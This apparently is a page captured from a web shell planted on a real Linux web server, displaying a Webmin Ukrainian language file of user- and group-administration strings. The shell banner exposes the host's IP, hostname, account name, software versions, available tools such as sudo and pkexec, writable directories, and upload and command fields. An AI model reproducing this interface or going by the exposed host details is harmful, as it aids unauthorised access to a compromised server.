Private
Server IP : 195.201.23.43  /  Your IP : 18.188.46.93
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/useradmin/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/useradmin/lang/uk.auto
index_pft=Тип бази даних: $1
index_pft0=Старий /etc/passwd
index_pft1=BSD master.passwd
index_pft2=Регулярний /etc/passwd & /etc/shadow
index_pft3=Команди користувача
index_pft4=AIX
index_pft5=SCO /etc/passwd & /etc/shadow
index_pft6=MacOS NetINFO
index_pft7=MacOS DSCL
index_userreal=Ім'я користувача або справжнє ім’я
index_usheader=Пошук користувачів
index_gsheader=Груповий пошук
index_fmode=Режим відповідності
index_ftext=Пошук тексту
index_gjump=Перейти до груп ..
index_ujump=Перейти до користувачів ..
index_notusers2=Користувачів у цій системі не знайдено!
index_export=Експорт у пакетний файл.
index_notgroups2=У цій системі не знайдено груп!
index_loginsall=Всі користувачі
index_loginsuser=Тільки користувач
index_loginsdesc=Показати останні входи в систему деяких або всіх користувачів Unix, які підключилися через SSH або Usermin.
index_lower=менше, ніж
index_higher=більше, ніж
index_whodesc=Показати користувачів, які зараз увійшли через SSH або Usermin.
index_mass=Видалити вибраних користувачів
index_mass2=Вимкнути вибране
index_mass3=Увімкнути вибране
index_gmass=Видалити вибрані групи

search_found=Знайдено $1 відповідні користувачі ..
search_gfound=Знайдено $1 відповідні групи ..

gid=Групувати
gidnum=Ідентифікатор групи
sshkey=Відкритий ключ SSH
uedit_manual=Довідник
lastlogin=Останній логін
uedit_samg=Нова група з таким же ім'ям, як користувач
uedit_allg=Усі групи
uedit_ing=У групах
uedit_swit=Увійдіть до Usermin
uedit_egone=Вибраного користувача більше не існує!
uedit_grename=Перейменувати групу, якщо змінити ім’я користувача?
uedit_dothers=Видалити користувача в інших модулях?
uedit_forcechange=Примусити зміни при наступному вході?
uedit_uid_def=Автоматичний
uedit_uid_calc=Розраховано
uedit_disabled=Тимчасовий вхід вимкнено
uedit_sys=Система за замовчуванням
uedit_clone=Клон користувача

usave_ere=Ім'я користувача не відповідає regexp $1
usave_eltgt=Ім'я користувача не може містити < або > персонажів
usave_ealluid=Усі дозволені UID-файли виділено
usave_esgname='$1' не є дійсною назвою вторинної групи
usave_ehomeslash=Домашній каталог $1 не може закінчуватися на /
usave_edigestmod=У вашій системі ввімкнено паролі $4, однак модуль Perl <tt>$3</tt> не встановлено. Щоб примусово використовувати звичайні зашифровані паролі, налаштуйте <a href='$1'>конфігурацію модуля</a> або попросіть Webmin спробувати <a href='$2'>завантажити та встановити</a> модуль <tt>$3</tt> для вас.
usave_edigestcrypt=У вашій системі ввімкнено $4 паролів, але функція <tt>crypt</tt> не підтримує цей формат. Щоб примусово використовувати звичайні зашифровані паролі, налаштуйте <a href='$1'>конфігурацію модуля</a>.
usave_epasswd_mindays=Пароль було змінено менше, ніж $1 днів тому
usave_epasswd_cmd=Не вдалося виконати команду перевірки пароля
usave_eothers=Користувача успішно збережено, але в іншому модулі сталася помилка : $1

gedit_desc=Опис
gedit_oneperline=(По одному на рядок)
gedit_egone=Вибраної групи більше не існує!
gedit_cothers=Створити групу в інших модулях?
gedit_mothers=Змінити групу в інших модулях?
gedit_gid_calc=Розраховано
gedit_gid_def=Автоматичний
gedit_allu=Всі користувачі
gedit_selu=Користувачі в групі
gedit_pri=Члени первинної групи
gedit_prinone=Жодна користувач не має цієї групи як основної
gedit_clone=Група клонів

gsave_eallgid=Усі дозволені GID були виділені
gsave_eothers=Групу було успішно збережено, але в іншому модулі сталася помилка : $1
gsave_egidused2=GID вже використовується

udel_enum=Недійсний номер користувача
udel_eroot=Вам заборонено видаляти користувачів системи (тих, хто має UID менше або дорівнює 10).
udel_ugroupother=Видалення групи цього користувача в інших модулях ..
udel_failed=.. не вдалося!  : $1

gdel_eroot=Вам заборонено видаляти системні групи (групи з GID меншим або рівним 10).
gdel_enum=Недійсний номер групи
gdel_dothers=Видалити групу в інших модулях?
gdel_other=Видалення з інших модулів ..

acl_uedit_gid=Користувачі з GID в діапазоні
acl_uedit_re=Користувачі, які відповідають regexp
acl_delhome=Чи можна видалити домашній каталог?
acl_option=За бажанням
acl_always=Завжди
acl_never=Ніколи
acl_export=Чи можна експортувати пакетний файл?
acl_export1=Так, але відображається лише в браузері
acl_on=Завжди
acl_off=Завжди вимкнено
acl_canedit=Можна вибрати
acl_autouid=Чи може автоматично збільшити номер UID?
acl_autogid=Чи може автоматично збільшувати номер GID?
acl_calcuid=Чи можете обчислити номер UID?
acl_calcgid=Чи можете вирахувати номер GID?
acl_useruid=Можна ввести номер UID?
acl_usergid=Можна ввести номер GID?
acl_udelete=Чи можете видалити користувачів?
acl_gdelete=Чи можна видалити групи?
acl_urename=Чи можете перейменувати користувачів?
acl_grename=Можна перейменувати групи?

log_gbatch=Виконаний груповий пакетний файл $1
log_gbatch_l=Виконаний груповий пакетний файл $1 (створено $2, $3 змінено, $4 видалено)
log_ugbatch=Виконано завантажений груповий пакетний файл
log_ugbatch_l=Виконаний завантажений груповий пакетний файл ($1 створено, $2 змінено, $3 видалено)
log_delete_users=Видалено користувачів $1
log_delete_groups=Видалено $1 групи

batch_source=Пакетне джерело даних
batch_source0=Завантажити файл
batch_source1=Файл на сервері
batch_source2=Текст у полі
batch_batch=Оновити файл користувачів лише після завершення пакетної роботи?
batch_etext=Текст пакетного файлу не введено
batch_echeck=Недійсне ім’я користувача у рядку $1 : $2 
batch_erename=Вам заборонено перейменовувати користувачів у рядку $1 : $2 
batch_eother=Але в іншому модулі сталася помилка : $1
batch_emin=Недійсний мінімум днів у рядку $1 : $2 
batch_emax=Недійсний максимум днів у рядку $1 : $2 
batch_ewarn=Недійсні дні попередження у рядку $1 : $2 
batch_einactive=Недійсні неактивні дні в рядку $1 : $2 
batch_eexpire=Недійсний день закінчення строку $1 : $2 
batch_echange=Недійсний день зміни пароля в рядку $1 : $2 
batch_instr=Інструкції та формат партії
batch_header=Параметри створення пакета, оновлення та видалення користувачів

export_title=Експорт пакетного файлу
export_desc=Ця форма дозволяє створити пакетний файл, що містить деяких або всіх доступних користувачів у системі. Цей файл може бути використаний на сторінці Execute Batch File в іншій системі для відновлення експортованих користувачів, припускаючи, що він використовує обраний формат пакетного файлу.
export_header=Параметри пакетного експорту користувача
export_to=Призначення пакетного файлу
export_show=Відображення в браузері
export_file=Напишіть у файл
export_ok=Експорт зараз
export_err=Не вдалося експортувати пакетний файл
export_efile=Файл, який потрібно записати, відсутній
export_efile2=Файл, в який потрібно записати, не знаходиться у дійсній директорії
export_egroup=Група $1 не існує
export_eopen=Не вдалося відкрити вихідний файл : $1
export_euid=Недійсний перший UID в діапазоні
export_euid2=Недійсний другий UID в діапазоні
export_egid=Недійсний перший GID у діапазоні
export_egid2=Недійсний другий GID в діапазоні
export_done=Користувачі $1 успішно експортували у файл $2 ($3).
export_pft=Пакетний формат файлу
export_who=Користувачі для експорту
export_ecannot=Ви не можете експортувати користувачів

gexport_title=Експортувати пакетний файл груп
gexport_desc=Ця форма дозволяє створити пакетний файл, що містить деякі або всі доступні групи в системі. Файл можна використовувати на сторінці Виконати груповий пакетний файл в іншій системі для відновлення експортованих груп.
gexport_header=Варіанти експорту пакетної групи
gexport_who=Групи для експорту
gexport_ecannot=Ви не можете експортувати групи
gexport_err=Не вдалося експортувати пакетний файл групи
gexport_egid=Недійсний перший GID у діапазоні
gexport_egid2=Недійсний другий GID в діапазоні

pft_0=Класичний файл <tt>passwd</tt>
pft_1=BSD <tt>master.passwd</tt> файл
pft_2=Стандартні <tt>passwd</tt> та <tt>тінь</tt> файли
pft_3=Файл Unixware <tt>passwd</tt>
pft_4=Файли AIX <tt>passwd</tt> та <tt>безпека</tt>
pft_5=OpenServer <tt>passwd</tt> та короткі <tt>тіні</tt> файли
pft_6=База даних MacOS NetInfo

umass_title=Видалити користувачів
umass_err=Не вдалося видалити користувачів
umass_sure=Ви впевнені, що хочете видалити $1 вибраних користувачів? Їх домашні каталоги містять $2 файлів.
umass_others=УВАГА! Деякі домашні каталоги містять файли $1, що належать іншим користувачам.
umass_sure2=Ви впевнені, що хочете видалити $1 вибраних користувачів?
umass_euser=Вам заборонено видаляти користувача $1
umass_enone=Не вибрано користувачів
umass_del1=Видалити користувачів
umass_del2=Видалити користувачів та домашні каталоги
umass_eroot=Вам заборонено видаляти користувачів системи (тих, хто має UID менше або дорівнює 10).
umass_doing=Видалення користувача $1.

gmass_title=Видалити групи
gmass_err=Не вдалося видалити групи
gmass_sure=Ви впевнені, що хочете видалити $1 вибрані групи?
gmass_euser=Вам заборонено видаляти групу $1
gmass_enone=Не вибрано груп
gmass_del=Видалити групи
gmass_eroot=Вам заборонено видаляти системні групи (групи з GID меншим або рівним 10).
gmass_doing=Видалення групи $1.
gmass_eprimary=Групу $1 не можна видалити, оскільки це первинна група користувача $2.

dmass_title=Вимкнути користувачів
dmass_sure=Ви впевнені, що хочете вимкнути вибраних користувачів $1? Пізніше їх можна буде знову ввімкнути, не втрачаючи паролів чи даних.
dmass_dis=Вимкнути користувачів
dmass_pass=Тимчасове блокування пароля ..
dmass_doing=Вимкнення користувача $1.
dmass_already=.. вже відключено!

emass_title=Увімкнути користувачів
emass_pass=Розблокування пароля ..
emass_doing=Увімкнення користувача $1.
emass_already=.. вже ввімкнено!

gbatch_title=Виконати груповий пакетний файл
gbatch_ecannot=Ви не можете використовувати форму групового пакетного файлу
gbatch_desc=Ця форма дозволяє створювати, змінювати чи видаляти багато груп одночасно із завантаженого чи локального текстового файлу. Кожен рядок у файлі визначає одну дію, яку слід здійснити, залежно від першого поля. Формати рядків :
gbatch_desc2=<b>create</b>:groupname:passwd:gid:member,member,...<p><b>modify</b>:oldgroupname:groupname:passwd:gid:member,member,...<p><b>delete</b>:groupname
gbatch_descafter=У рядках <b>створити</b>, якщо поле <tt>gid</tt> залишиться порожнім, Webmin призначить GID автоматично.
gbatch_descafter2=У рядках <b>модифікувати</b> порожнє поле буде прийняте, щоб означати, що відповідний атрибут групи не повинен бути змінений.
gbatch_header=Параметри створення, оновлення та видалення пакетної групи
gbatch_others=Створювати, змінювати чи видаляти групи в інших модулях?
gbatch_batch=Оновити файл груп лише тоді, коли партія завершена?
gbatch_chgid=Змінити GID у файлах модифікованих груп?
gbatch_ecaccess=Вам не дозволяється створювати групу в рядку $1 : $2 
gbatch_emaccess=Вам не дозволяється змінювати групу в рядку $1 : $2 
gbatch_edaccess=Вам заборонено видаляти групу в рядку $1 : $2 
gbatch_created=Створена група $1
gbatch_deleted=Видалена група $1
gbatch_modified=Змінена група $1
gbatch_enogroup=Групи не існує в рядку $1 : $2 
gbatch_eprimary=Групу в рядку $1 не можна видалити, оскільки це первинна група користувача $2.
gbatch_egroup=Дублікат назви групи у рядку $1 : $2 
gbatch_egroupname=Невірна назва групи в рядку $1
gbatch_erename=Вам не дозволяється перейменовувати групи в рядку $1 : $2 
Private